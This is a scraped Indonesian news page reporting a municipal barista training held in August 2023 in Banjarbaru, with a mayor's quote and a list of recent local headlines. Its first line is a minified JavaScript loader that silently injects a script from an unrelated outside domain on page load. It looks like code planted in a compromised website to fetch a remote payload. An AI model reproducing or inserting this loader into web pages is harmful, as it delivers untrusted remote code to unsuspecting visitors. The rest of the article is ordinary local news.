(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Kemampuan Olah Kopi Para Barista di Banjarbaru Ditambah


KANALKALIMANTAN.COM, BANJARBARU – Perkembangan usaha kafe di Kota Banjarbaru terus bertumbuh yaitu sudah terdapat 140 kedai kopi yang telah terdata. Dengan banyaknya usaha Food and Beverage (FnB) di Kota Banjarbaru memiliki prospek sangat menjanjikan, bahkan telah menyumbang sebanyak 15-17% dari Pendapatan Asli Daerah (PAD) Kota Banjarbaru.

Meningkatkan kemampuan pengolah kopi alias barista Dinas Pemuda Olahraga Kebudayaan dan Pariwisata Kota Banjarbaru mengadakan pelatihan Barista Training dan Creative Beverage bagi para pelaku usaha kafe di wilayah Banjarbaru.

Pelatihan barista bertujuan untuk meningkatkan kemampuan mengolah kopi bagi para barista yang ada di Banjarbaru. Pelatihan tersebut dihadiri dan dibuka langsung Wali Kota Banjarbaru HM Aditya Mufti Ariffin di aula Dinas Sosial Kota Banjarbaru, Senin (21/8/2023).

Baca juga: Nanang Galuh HSU dan Balangan Eksplorasi Tempat Wisata Sejarah

Pelatihan yang berlangsung dua hari 21-22 Agustus 2023 diikuti 40 orang barista dan pelaku usaha cafe yang ada di Banjarbaru. Dengan pemateri yang telah piawai di bidang usaha Food and Beverage (FnB) yaitu dari Silent Project Group.

Adanya pelatihan ini untuk menunjang program Banjarbaru Kota Sejuta Kopi dengan membentuk Sumber Daya Manusia (SDM) yang mumpuni untuk mengolah dan memasarkan berbagai produk kopi yang ada di Banjarbaru.

Wali Kota Aditya mengatakan hal yang serupa mengenai pengembangan sumber daya manusia dengan harapan bisa memberikan nilai tambah bagi para pelaku usaha dan barista serta dapat membawa kesejahteraan untuk masyarakat Banjarbaru.

Baca juga: Penyakit ISPA Rangking Teratas Dua Puskesmas di Kabupaten Banjar

“Kita juga sudah mulai menanam kopi di Kota Banjarbaru dan kita juga ada program bersama BPKP yaitu Kota Banjarbaru Kota Sejuta Kopi. Ini sudah berjalan dan tentunya harus didukung oleh sumber daya manusia yang memiliki keahlian berkaitan masalah kopi ini. Jadi mudah-mudahan menjadi nilai tambah dan membawa kesejahteraan untuk masyarakat,” ucapnya.
(Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.